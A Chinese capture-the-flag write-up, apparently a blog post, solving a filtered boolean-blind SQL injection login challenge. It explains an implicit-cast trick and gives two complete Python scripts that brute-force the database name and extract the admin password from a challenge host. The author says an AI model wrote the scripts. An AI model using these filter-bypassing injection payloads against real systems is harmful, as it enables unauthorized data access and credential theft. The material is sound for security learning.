参考wp:https://www.yuque.com/u21437924/ap9vtm/gqkc3dcfmfpe5p85?singleDoc#RI7de
https://blog.csdn.net/cai_huaer/article/details/151112526?spm=1001.2014.3001.5502
这2个写的都很好,很惭愧,每次遇到难题都没想过自己去琢磨,而是在常规手段出不来后就去看wp
爆破数据库名 根据csdn那个wp,他的布尔盲住思路很新奇,非常值得学习
1 username=aaa'-(ascii(substr(database()from(1)))-98)-'&password=admin
大意就是sql会把字符隐式转换为数字然后去做加减username=a'-0-',在数据库中就是select username from xxx where username='a'-0-'',’a’会变为0-0=0,后面的’’也看为0,得到的结果为0,会匹配任何以数字0开头的用户名,如果中间换成1,结果就是-1,匹配不到数据。然后根据这一点来写脚本爆破。因为这个题目过滤了很多字符,所以脚本要稍微注意一点。
该脚本产自Gemini3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 import requests import string# 配置目标 URL url = "http://171.80.2.169:11490/index.php"# 题目要求的 HTTP 头 headers = { "Host": "171.80.2.169:11490", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36", "Origin": "http://171.80.2.169:11490", "Referer": "http://171.80.2.169:11490/" }# 字典 chars = string.ascii_lowercase + string.digits + "_-@." print("[-] 开始爆破数据库名 (长度: 8)...") print("[-] 绕过策略: 无空格(用括号),无逗号(用FROM),无FOR(利用ASCII特性)") db_name = "" for i in range(1, 9): found_char = False for char in chars: char_ascii = ord(char) # 核心 Payload: # 1. 用 FROM(i) 代替 FROM i (绕过空格) # 2. 去掉 FOR 1 (利用 ASCII 只取首字符特性,绕过 FOR) # 3. 整体无空格,无逗号 # 构造 SQL 片段: ascii(substr(database()from(i)))-char_ascii injection = f"ascii(substr(database()from({i})))-{char_ascii}" # 拼凑 POST body data_payload = f"username=aaa'-({injection})-'&password=admin" try: # data 参数传字符串,避免 requests 自动处理造成干扰 res = requests.post(url, headers=headers, data=data_payload, timeout=5) # 这里的判断逻辑是: # 如果猜对了 -> injection 结果为 0 -> username=aaa'-0-' -> 真 -> passwd error # 如果猜错了 -> injection 结果为 非0 -> username=aaa'-非0-' -> 假 -> username dont exist if "password error" in res.text: db_name += char print(f"[+] Found char {i}: {char} -> Current DB: {db_name}") found_char = True break except Exception as e: print(f"[!] Error: {e}") if not found_char: print(f"[!] 第 {i} 位字符未找到,可能使用了特殊字符或 Payload 被拦截。") db_name += "?" print(f"\n[success] 最终数据库名: {db_name}")
然后爆破表和列名都只能用字典去爆破了:
语句是这样的:
1 2 3 4 # 爆破表名 username=aaa'or(select(1)from(blindsql.flag))#&password=admin# 爆破列名 username=aaa'or(select(password)from(admin))#&password=admin
爆破数据 一开始直接让ai写脚本,但是死活出问题,后面给他参考了别人的才写出来。原理还是username=a'or真返回password error,若or后面的条件为false,就返回dont exist
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 import requests import string import sys# --- 配置区域 --- # 使用你之前题目给出的 URL url = "http://171.80.2.169:15666/index.php" headers = { "Host" : "171.80.2.169:15666" , "Content-Type" : "application/x-www-form-urlencoded" , "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" , }# 目标 table_name = "admin" column_name = "password" print( f"[-] 开始利用线性扫描 (Linear Scan) 读取 {table_name}.{column_name} ..." ) print( "[-] 逻辑: ddd' OR (ascii > j) #" ) print( "[-] 遇到 'username dont exist' 说明条件停止成立,锁定字符。" ) final_data = ""# 假设密码长度 1 到 40 for i in range( 1 , 41 ) : found_char = False # 遍历可见字符 ASCII 码 (32 - 127) # 类似于别人的 range(32, 128) for j in range( 32 , 128 ) : # 构造你的 Payload # ddd'or(ASCII(MID((SELECT(password)FROM(admin))FROM({i}))))>{j}# # 注意:这里 %23 是 # 的 URL编码。request data 字典有时会自动编码,有时不会, # 为了稳妥,我们直接在字符串里写 #,因为 requests 会帮我们转义 body payload_str = f"ddd'or(ascii(mid((select({column_name})from({table_name}))from({i})))>{j})#" data_payload = { "username" : payload_str , "password" : "admin" } try : # 发送请求 res = requests.post( url , headers=headers , data=data_payload , timeout=3 ) # --- 核心判断逻辑 (和别人的脚本一致) --- # 情况 1: 猜对了吗?(Payload > j 为真) # 如果 ddd' OR True -> 登录成功 -> passwd error # 这意味着当前字符 ASCII 码比 j 大,还需要继续往后找 if "password error" in res.text : continue # 继续内层循环,j 加 1 # 情况 2: 猜过头了吗?(Payload > j 为假) # 如果 ddd' OR False -> 用户不存在 -> username dont exist # 这意味着当前字符 ASCII 码 不大于 j (即等于 j),因为刚才 j-1 的时候还是 True elif "username does not exist!" in res.text : char = chr( j ) final_data += char print( f"[+] 第 {i} 位: {char} (ascii: {j}) | 当前: {final_data}" ) found_char = True break # 找到了,跳出内层 j 循环,去读下一位 i # 其他情况(如报错) else : pass except Exception as e : print( f"[!] Error: {e}" ) break # 如果遍历完 32-127 还没找到,说明这一位可能没有字符了(结束了) if not found_char : print( "\n[*] 扫描结束。" ) break print( f"\n[Success] 最终密码: {final_data}" )